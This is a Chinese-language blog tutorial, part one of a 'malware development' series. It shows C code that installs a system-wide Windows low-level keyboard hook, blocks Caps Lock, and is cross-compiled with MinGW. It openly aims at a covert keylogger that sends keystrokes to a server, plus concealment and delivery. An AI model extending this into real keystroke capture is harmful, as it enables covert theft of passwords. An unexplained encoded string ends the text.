恶意软件开发:用C语言编写键盘记录器(第一部分)

2 阅读8分钟

免责声明:
本文内容仅供教育和信息参考。旨在促进安全意识、学习和道德网络安全实践。任何滥用本文所述技术进行未授权访问、监控或利用的行为均属非法且不道德。作者不纵容、支持或对基于本文材料的任何非法或有害行为负责。读者有责任确保其行为符合所有适用法律法规。

欢迎阅读。在今天的博客中,我将教授如何用C语言编写一个键盘记录器。这将是一个从编写恶意软件到交付等一系列内容的系列博客。请关注以获取我的最新发布内容,不要错过这个有价值的系列。

本文概述

我们将为Windows编写一个C语言的键盘记录器。我将使用Linux进行程序的编译和编写。这个恶意程序将捕获我们的按键,并阻止按键消息到达系统。我不仅会提供代码,还会解释其工作原理,让你理解代码的实际功能并从中学习,最终能够自己创造东西。

什么是恶意软件?

恶意软件是“malicious software”的缩写,指任何旨在危害、破坏或未授权访问计算机系统、网络或用户数据的程序。它可以窃取敏感信息、损坏设备或控制系统以发起其他攻击。常见示例包括病毒、间谍软件、勒索软件和特洛伊木马。

什么是键盘记录器?

一种计算机程序,用于记录计算机用户的每一次按键,尤其是为了欺诈性地获取密码和其他机密信息。

为什么用C语言编写?

除了汇编语言之外,C语言是能以最低级别与计算机交互的最直接、最易用的方式。用C语言编写恶意软件让我们能够精确实现我们的意图。与Python等高级语言相比,用C编写的恶意软件体积要小得多。这一点很重要,因为你希望在不引起过多注意的情况下通过网络传输恶意软件。

实验环境搭建

我们需要在Linux(Ubuntu)环境中安装MinGW。可以从此处下载Windows版本,然后将其添加到环境变量中。我将使用Linux环境。

sudo apt update && sudo apt install mingw-w64

我们的键盘记录器

我将分块解释所有代码,然后运行并进行测试。

我们使用哪些库?

目前,我们只使用两个库。

#include <windows.h>
#include <stdio.h>

windows.h 为我们的程序提供了Windows API(WinAPI)的声明和定义,允许它调用直接与Windows操作系统交互的函数。
stdio.h 导入标准输入输出函数、宏和变量声明,供程序使用,如 printf

编码前的基本术语

在深入研究代码之前,我们先确立几个关键概念。可以将它们视为我们将要使用的构建块。

钩子

钩子 = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardLLProc, NULL, 0);

WH_KEYBOARD 与 WH_KEYBOARD_LL

WH_KEYBOARDWH_KEYBOARD_LL 都是钩子,用于监控键盘事件。两者的区别在于:
WH_KEYBOARD 在较高层次监控事件,这意味着它在应用程序内部监控事件,如重新映射按键或实现自定义快捷方式。
WH_KEYBOARD_LL 在更低的层次工作,允许我们在按键事件到达系统之前拦截它。这也让我们能够检测后台按键,使其成为键盘记录器的理想选择。

SetWindowsHookEx(设置钩子)

SetWindowsHookEx API 安装一个钩子过程。我们需要向此API传递以下参数。

HHOOK SetWindowsHookExW(
  [in] int       idHook,      // 指定要安装的钩子过程类型(例如,用于低级键盘钩子的 WH_KEYBOARD_LL,用于低级鼠标钩子的 WH_MOUSE_LL)。
  [in] HOOKPROC  lpfn,        // 指向钩子过程函数的指针,当指定事件发生时将调用该函数。
  [in] HINSTANCE hmod,        // 包含钩子过程的DLL的句柄。如果钩子过程位于调用进程中,此参数可以为NULL。
  [in] DWORD     dwThreadId   // 要与钩子关联的线程标识符。如果此参数为0,则钩子为全局钩子。
);

我们的 SetWindowsHookEx API 代码将如下所示。我写了几行来验证钩子是否安装成功。

// 钩子句柄
HHOOK hHook;

// 安装低级键盘钩子
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardLLProc, NULL, 0);
if (hHook == NULL) {
    printf("Failed to install hook! Error: %lu\n", GetLastError());
    return 1;
} else {
    printf("Hook installed successfully! Press ESC to exit.\n");
}
  • WH_KEYBOARD_LL 告诉Windows安装一个低级键盘钩子。
  • KeyboardLLProc 是你的回调函数。
  • NULL 作为 hMod 表示“钩子在同一进程中”。
  • 0 表示“应用于系统范围”(不仅仅是单个线程)。

捕获按键输入

Windows将事件放入消息队列:当用户点击鼠标、按下按键或移动窗口时,Windows将一个描述该事件的“消息”放入一个队列,即事件的虚拟等待室。

MSG msg;
// 消息循环,保持钩子运行
while (GetMessage(&msg, NULL, 0, 0)) {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
}
  • GetMessage() 从队列中捕获消息:我们程序的消息循环调用 GetMessage(),它会等待并检索队列中的下一条消息。
  • TranslateMessage() 转换键盘输入:捕获到与键盘相关的消息后,TranslateMessage() 处理它以创建一个字符消息(WM_CHAR),使我们的程序更容易处理文本。
  • DispatchMessage() 将其发送到窗口:最后,DispatchMessage() 将处理后的消息发送到我们程序编写的、用于处理该窗口事件的特定函数(称为“窗口过程”)。

开始动手实现

现在我们已安装钩子并监听事件,接下来将编写回调函数。当系统中任何地方发生键盘事件时,Windows会自动调用此函数。它看起来像这样:

// 钩子回调函数
LRESULT CALLBACK KeyboardLLProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam;

    if (nCode == HC_ACTION) {
        // 检查是否按下了某个键
        if (wParam == WM_KEYDOWN && p->vkCode == VK_CAPITAL) {
            printf("Caps Lock disabled!\n");
            return 1; // 阻止该按键
        }
    }
    // 将未处理的事件传递给下一个钩子
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}
  • LRESULT:Windows消息/钩子函数使用的返回类型。
  • CALLBACK:一个Windows调用约定宏(通常是 __stdcall),告诉编译器当Windows调用该函数时应如何接收参数。
  • KeyboardLLProc:我们的函数名(你可以任意命名)。

参数

  • nCode:指示这是何种钩子事件。如果是 HC_ACTION,则是一个需要处理的真实键盘事件。
  • wParam:描述键盘消息类型。WM_KEYDOWN 表示某个键刚刚被按下。WM_KEYUP 表示某个键刚刚被释放。
  • lParam:指向 KBDLLHOOKSTRUCT 结构的指针,包含按键事件的详细信息(哪个键、扫描码等)。

KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam;lParam 指针转换为 KBDLLHOOKSTRUCT 指针,以便你可以访问其字段,如 p->vkCode
VK_CAPITAL 是代表Caps Lock键的常量。
return CallNextHookEx(NULL, nCode, wParam, lParam); 如果按下的不是Caps Lock键(或者我们没有处理该事件),则必须将其传递给钩子链中的下一个钩子。如果不这样做,可能会破坏其他钩子或阻止正常的按键行为。

整合所有代码

我们的第一个程序完成了,是时候运行并测试它是否能阻止Caps Lock键了。首先编译代码。

#include <windows.h>
#include <stdio.h>

// 全局钩子句柄
HHOOK hHook;

// 钩子回调函数
LRESULT CALLBACK KeyboardLLProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam;

    if (nCode == HC_ACTION) {
        // 检查是否按下了某个键
        if (wParam == WM_KEYDOWN && p->vkCode == VK_CAPITAL) {
            printf("Caps Lock disabled!\n");
            return 1; // 阻止该按键
        }
    }
    // 将未处理的事件传递给下一个钩子
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

// 入口点
int main()
{
    MSG msg;

    // 安装低级键盘钩子
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardLLProc, NULL, 0);
    if (hHook == NULL) {
        printf("Failed to install hook! Error: %lu\n", GetLastError());
        return 1;
    } else {
        printf("Hook installed successfully! Press ESC to exit.\n");
    }

    // 消息循环,保持钩子运行
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    // 退出前卸载钩子
    UnhookWindowsHookEx(hHook);
    printf("Hook removed. Exiting...\n");
    return 0;
}

在Linux上使用以下命令为Windows编译:

x86_64-w64-mingw32-gcc {filename}.c -o {exename}.exe

我执行了程序并尝试按Caps Lock键,我们的程序成功阻止了它。

我知道这还不是一个真正的键盘记录器,但我必须从小处着手,打下坚实的基础。我们将深入学习记录所有按键、存储它们,或者将它们发送到服务器。然后我们将学习如何隐藏它,以及在红队演练期间如何将其投递到目标系统。完成键盘记录器后,我们将学习制作一个后门……前方还有很多有趣的内容,所以别忘了关注。 CSD0tFqvECLokhw9aBeRqsz8WKi4c0Yu2dKDeXAOt1CVpK/B+UntpanmKzKTWGwTz5ubjx3GpaMugBKaPoucTcYJ+UtfHyBH0INxuy8YUpDaaDBYFuf/SbiGmP97q+78QYox24V0XmzvU1LlBYiSnA==